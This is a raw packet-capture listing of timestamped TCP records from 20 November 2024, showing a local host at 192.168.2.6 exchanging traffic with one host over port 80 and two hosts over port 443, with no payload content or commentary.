Nov 20, 2024 18:57:47.306899071 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.360327959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.360472918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.360522985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.360575914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.360724926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.360742092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.360778093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.360804081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.361501932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.361568928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.361654997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.361710072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.362301111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.362404108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.362545013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.362586021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.362701893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.362747908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.363384008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.363432884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.363806963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.363852024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.364177942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.364372969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.364629030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.364674091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.364986897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.365061998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.365147114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.365189075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.365837097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.365880013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.366195917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.366254091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.366631985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.366678953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.366703987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.366739035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.367412090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.367455006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.367646933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.367706060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.368335962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.368388891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.368413925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.368453979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.369092941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.369149923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.369232893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.369276047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.369879007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.369893074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.369940996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.370676994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.370728016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.371241093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.371294975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.371517897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.371562004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.371656895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.371706009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.372750044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.372817993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.372886896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.372927904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.373140097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.373152971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.373197079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.373197079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.373936892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.374025106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.374494076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.374581099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.374761105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.374773026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.374813080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.375582933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.375650883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.376051903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.376096010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.376441956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.376455069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.376537085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.377178907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.377240896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.377319098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.377360106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.377979994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.378043890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.378817081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.378822088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.378828049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.378875971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.378895044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.379611969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.379658937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.379774094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.379812956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.380445957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.380489111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.380641937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.380687952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.381227016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.381273031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.381359100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.381402016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.382066011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.382113934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.382177114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.382215977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.382872105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.382937908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.383383036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.383486986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.383675098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.383832932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.384002924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.384056091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.384480953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.384526014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.384681940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.384725094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.385293007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.385344982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.385509014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.385560989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.386130095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.386174917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.386370897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.386425018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.387068987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.387082100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.387130976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.387146950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.387748003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.387934923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.388081074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.388122082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.388694048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.388776064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.388808966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.388845921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.389486074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.389498949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.389527082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.389544010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.390239954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.390302896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.390559912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.390851974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.390981913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.391088963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.391184092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.391244888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.391825914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.391839027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.391891956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.391891956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.392585039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.392627001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.393450975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.393462896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.393475056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.393502951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.393526077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.394260883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.394305944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.394381046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.394450903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.395020962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.395103931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.395608902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.395658970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.395863056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.395930052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.396178007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.396219969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.396661997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.396709919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.397213936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.397272110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.397522926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.397723913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.397862911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.397979975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.398391962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.398405075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.398473978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.399342060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.399354935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.399396896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.399919033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.399988890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.400423050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.400464058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.400788069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.400826931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.401460886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.401501894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.401563883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.401576996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.401607990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.401619911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.402430058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.402487993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.402570963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.402621984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.403394938 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.404962063 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.404994965 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.405355930 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.407417059 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.407499075 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.407598972 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.423001051 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.423038960 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.423280954 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.423605919 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.423666954 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.423789978 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.424134016 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.424144983 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.424199104 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.424495935 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.424529076 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.424736977 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.424957037 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.424972057 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.425108910 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.425148964 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.425219059 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.425229073 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.425487995 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.425517082 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.455332994 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.530576944 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.570852995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.570915937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.571305990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.571325064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.571376085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.571553946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.571593046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.572103977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.572153091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.572216034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.572256088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.573065042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.573108912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.573200941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.573251009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.573301077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.573385000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.573999882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.574080944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.574136972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.574183941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.574805021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.574872017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.574898005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.574937105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.575601101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.575731993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.575752020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.575789928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.576433897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.576474905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.576627016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.576666117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.577271938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.577356100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.577652931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.577703953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.578042030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.578087091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.578160048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.578322887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.578830004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.578883886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.578943968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.579021931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.579646111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.579699039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.580024958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.580075979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.580471039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.580519915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.580538988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.580576897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.581307888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.581358910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.581552029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.581614971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.582097054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.582149982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.582216978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.582315922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.582890987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.582945108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.583061934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.583103895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.583723068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.583774090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.583815098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.583911896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.584513903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.584695101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.584738016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.584779024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.585325956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.585361004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.585375071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.585405111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.586211920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.586260080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.586359978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.586977959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.587024927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.587166071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.587244987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.587752104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.587799072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.629327059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.743460894 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.743485928 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.743525982 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.743557930 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.743577003 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.743654966 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.748240948 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.748300076 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.748306036 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.748343945 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.759124041 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.759162903 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.823793888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.904967070 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.904988050 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.905056000 CET	49862	443	192.168.2.6	20.103.156.88
